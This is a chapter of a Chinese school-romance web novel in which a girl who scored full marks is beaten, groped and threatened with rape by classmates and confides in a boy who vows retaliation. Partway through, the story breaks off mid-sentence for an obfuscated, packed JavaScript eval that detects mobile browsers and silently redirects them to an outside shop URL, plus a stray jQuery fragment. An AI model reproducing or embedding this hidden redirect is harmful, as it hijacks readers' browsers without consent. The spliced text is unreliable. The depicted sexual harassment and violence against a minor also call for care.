暑假前最后一周,学校组织全科模拟统考。
物理课,老师拿着试卷走进三班教师,周身气压很低,脸黑的像是要下暴风雪。他站在讲台上先将学生们批评一番,说话时唾沫星子喷了半空,底下的学生听的无精打采。
他边说,边让物理课代表将试卷发下去。
试卷发到一半,物理老师脸色缓和不少,眼里竟然有了一丝得意:“还是得提一句啊,这次统考,全年级唯一一个满分在咱们班。”
一句话点开死寂的涟漪,教室各处响起窸窣的讨论声,好事的同学嚷着喊:“是江陆还是方志博啊?”
前排的方志博显得有些局促,他扶着自己的桌子紧张地咽下口水,后排的江陆漠不关心,余路平要他考前抄十篇范文,他还在奋笔疾书。
余易泽接那人的话:“那肯定是江陆啊!”
角落里有人笑着搭腔打趣:“江陆不是化学厉害吗?”
“安静!”物理老师敲敲桌子,教室瞬间鸦雀无声,他满意地看向角落:“孟柯啊,考了满分也不要骄傲,再接再厉啊!”
被点名的孟柯没有感到惊讶,只是面无表情地点头。
几秒后,安静的教室再次哗然,大家都在震惊一向透明的孟柯竟然能考满分,余易泽嘴巴也要张不闭的,他看眼旁边的江陆,江陆也停了笔盯着孟柯的后脑勺,眼底浮着微微的错愕。
物理老师又说:“你的卷子被五班老师拿走了,下午你自己去拿一下。”
孟柯说:“好。”
这节课讲卷子上的疑难题,江陆跟余易泽共用一张,把自己的卷成长筒戳下孟柯后背,孟柯回头,他小声说:“你用我的。”
孟柯想了下问他:“你有什么地方需要着重做笔记的吗?”
她眸眼清澈明亮,盯着他认真且木然,粉嫩的唇轻轻抿着,因为迟迟等不到他的答案,表情慢慢变得有些不安。
江陆唇角淡淡勾了下,故意说:“没考到满分,所以都得做。”
孟柯嘴巴张了下,然后又闭住,知道这人又在逗她,直接抽过那张试卷转身坐正了。
江陆笑出来,余易泽趴在桌子上,闭着眼睛骂他:“真狗啊。”
物理课后,中午放学,余易泽跟老余先走了。
孟柯把做好笔记的试卷还给江陆,江陆拿起来一看,上头密密麻麻的笔记,不仅老师讲了的,甚至没讲的,她给每道题都写了解题步骤,并注释了需要用到的定理公理。
笔记是他让记的,但看她老老实实记完,江陆也不知道自己哪根筋搭错,总之是一种很微妙的感觉,他心里很不舒服。
他眯起眼:“我让你记你就记?”
孟柯:“不然呢?”
江陆有种怒其不争的无奈:“你怎么这么好欺负啊?”
孟柯不知道他怎么了,愣愣站了一会儿,没再理他就走了。
少年个高步子大,几下就追上去,他压低声音说:“下次再有人跟你说这种话,直接说不要,你要学会......”
江陆想了好一会儿,想到一个词:“反抗。”
说完他自己又琢磨了下觉得没错,其实他每次看见孟柯一副怯生生的样子,心里都有异样,她像是还在生长的木头,因为皮不够硬,随便谁都能拿刀在上头刻两道,甚至不注意就被人伐了。
他小舅说,这样的树,不死也是麻麻赖赖的,成不了材,所以得有人守着树。
孟柯蓦然抬头问他:“反抗?”
“是啊。”江陆应声,他低头看楼梯,语气懒散:“给我做笔记你不累?”
“不累啊。”孟柯目光看着前方,表现的理所应当,“而且你扣分的那道题,我还写了两种解法,那个地方的摩擦力其实是因为小滑块......”
周围人声鼎沸,嘈杂的背景里,孟柯的声音小到只有江陆能听见,她嘴唇一张一合,耐心地跟他讲题,神情专注而纯粹。
江陆转头看她好几眼,少女的脸颊被热气熏出一丝红晕,她真的所有情绪都写在脸上,被日光照的明晃晃的。
他看着孟柯,突然想起小舅林子里的一棵树,直溜溜的,只有顶上有几个树杈,是他见过最好看的小树苗。
江陆收回视线,兀自想着,嘿嘿乐了。
这年头,守林人也得学好物理啊。
......
下午,江陆被朱老师叫去六号教学楼交代夏令营的事,语文课后才回来。
余易泽瘫在椅子上昏昏欲睡,整个人懒洋洋地不想动,江陆把材入营通知书和书本装进书包,看眼前头空荡荡的座位:“孟柯呢?”
余易泽打哈欠:“请假了吧,下午都没来。”
孟柯经常在有体育课的下午请假,老余考虑她情况特殊,也是默许了的。
学生陆陆续续往外走,去操场上本学期的最后一节体育课。
走廊上隔三差五站着几个学生,男生们聚在一起聊游戏,女生们脑袋凑在一块讲八卦小说,青春气息扑面而来,大家晒着太阳,享受考前难得的惬意时光。
余易泽搭着江陆的肩膀,问:“待会儿跟五班踢球赛?”
“说让大家放松下。”江陆问,“你不踢?”
“不踢,我要打游戏。”
“那游戏有那么好玩吗?”
“你玩一把不就知道了。”
“不玩儿。”
余易泽切了声,两人走到楼梯拐角,正巧碰见上楼的孟柯,她低头走的很快,头上戴了顶鸭舌帽,脸庞全部遮蔽在阴影下。
余易泽笑嘻嘻叫她:“孟天仙,走啊上体育课去啊。”
孟柯跟没听见似的,径直越过他身边,完全忽视两人的存在。
两人在她身后对视一眼,孟柯脚步越来越快,直接撞上迎面走来的人,那人嚷嚷:“哎哟看着点路啊。”
她不回答也没让道,只顾着往教室里冲。
江陆觉得不对劲,他冲过去把她往回拉,“孟柯。”
孟柯挣扎,卯足了劲甩开他,手背不经意打到江陆下巴,她身体停了下,但又很快往前走,全程都有意躲着江陆。
江陆过去掰她肩膀,孟柯像斗红了眼的小兽:“别碰我!”
这一声打破走廊原有的轻松气氛,四处学生的目光齐刷刷落在两人身上,周围也慢慢变得安静。
江陆拽着她的胳膊把人拉进教室,余易泽挥手赶其他学生:“别看了,有什么好看的,那边的,你还不去上课啊,去去去!”
江陆关上教室门,单身用力把她摁在墙角站好,孟柯激烈反抗却抵不过他力气大,拉扯间,江陆猛然看见她脸色惨白,脸颊肿的很高,嘴角位置发青发紫,明显是被人打的。
他声音沉下去:“怎么弄的?”
孟柯眼睛里都是红血丝,咬紧牙根,死死地瞪着他,不说话。
江陆没有再逼问,而是缓缓抬起左手,确定她不抗拒,才敢掀开她的帽子,她头发乱糟糟的,鼻梁也破了一道口子,血迹已经结痂。
他话里有怒意:“是许嘉怡?”
孟柯说:“没事。”
江陆气极反笑:“我不瞎。”
在极端情况下,孟柯的情绪是急骤的风浪,风急浪高,人心的汪洋波涛澎湃,那种状态下的人,她的脑子是混的,干了什么做了什么都是因为那股浪在推。
但无论被推往那个方向,她都被困在这种密闭而痛苦的状态里,被撞的体无完肤,怎么都走不出去。
江陆再次开口,一字一顿:“谁打的?”
她抬起眼,清晰看见江陆眼里汹涌的愤怒,冰冷,尖锐,掩藏着无法言语的东西,那一刻,束缚孟柯的牢笼,陡然被那目光刺穿。
孟柯平静下来,她说:“我把王载打了。”
江陆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408361|141278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
差点以为自己听错,她这脸上的五彩斑斓的,真不知道谁打谁。
但孟柯的表情不像说假话,他皱着眉头问:“他惹你了?”
“不能打吗?”她反问,“你不是让我反抗吗?”
江陆又一怔,学的还挺快。
“你有情绪当然可以发泄,但打架不能解决问题。”
江陆一手拿着她的帽子,一手撑在她耳边的墙壁,神情严肃,“所以你得告诉我,到底发生了什么?”
孟柯幽幽盯着他,声音很轻,说得很慢,“发泄?”
她答非所问,江陆懂她的意思。
他坚定:“不然等你躲起来拿刀剌自己?”
上课铃声响起,突然的噪音震了下孟柯的心弦。
“王载把我试卷弄丢了。”孟柯闭上眼睛,低声说。
她不喜欢丢东西,这他知道,但这绝对不是全部。
事情发生在她来学校的路上,确切说是王载和许嘉怡,还有个孟柯不认识的男人,眉眼与王载有些相似。三人在逼仄的小巷堵她,王载手里捏着张试卷,许嘉怡阴阳怪气地问:“哟!物理满分来了。”
王载用折起的试卷抽她脸:“我记得你数学不行啊?装的?”
与此同时,那个男人就靠在墙上抽烟,看都不看这边。
她趁王载不注意一把把试卷夺过来,翻开一看,是白卷,姓名那一栏写着王载的名字。察觉自己被骗,孟柯也不生气,她把东西还回去,淡然问:“我的卷子呢?”
“早他妈丢了。”
“丢哪儿了?”
话还没说完,许嘉怡直接冲过去,孟柯立刻后退,动作没她快,被她重重捏住下巴,下颌骨被人抬起,许嘉怡的话从牙后跟挤出来:“还敢告老师?”
之前孟柯不追究,不代表江陆不管,他私下找老余说明了情况。
老余虽然老实巴交,但他护短,当即找到五班班主任要说法,五班班主任碍于情面把许嘉怡叫过来,又忌惮她家里背景,只敢象征性地批评几句。
这番举动直接惹恼了一向横行霸道的许嘉怡。
孟柯一根根去掰她手指,王载趁机过来揩把油,孟柯抬脚去踹,他轻易闪开,舔着张脸笑得恶心:“想要卷子?叫声哥哥来听?”
说着他另一只手探到孟柯腰后,猥琐至极,孟柯顿时觉得胃里翻江倒海,她用尽全身力气挥拳砸到王载脸上,膝盖顶到他的下.体。
“草!”
趁他疼得直不起腰,孟柯拔腿就跑,许嘉怡更是怒不可遏,抓住她的衣服后领把人砸到墙角,一巴掌扇过去:“你他妈找死!”
孟柯努力反抗却如同以卵击石,许嘉怡和王载手脚并用连打带踹,自始至终保持沉默的另一人,终于好心提醒:“差不多就行,别把人打死。”
许嘉怡和王载边打边骂,她努力地捂着自己的头,污言秽语从手臂的缝隙挤进耳朵。
午后,太阳正热烈,天光乍眼,明明这世界每一处都亮着,而孟柯只能蜷缩在暴力的阴影里,浑身瑟瑟发抖......
颤栗中,孟柯听见江陆温和的嗓音,他态度谨慎而平缓,在循循善诱:“还有呢?”
停几秒,她睁开眼,看见眼前的人,紧绷的身体终于软下来。
“他说要一个月内上了我。”
一瞬间,江陆的脸沉得骇人。
前一秒的温柔,被他眼里飓风般的怒意撕碎。
江陆站直身体,将帽子重新扣到孟柯头上。
修长的手指捏住帽檐轻轻往下一拽,孟柯的脑袋被带的往前点了下。她的视线被遮挡,看不到他的表情,只能听见从头顶落下的声音。
很冷的一句:“我知道了。”
江陆打开教室门,余易泽站在门外看着两人,眼底怒火中烧。
他气得浑身都在抖:“足球赛不踢废他,老子不姓余!”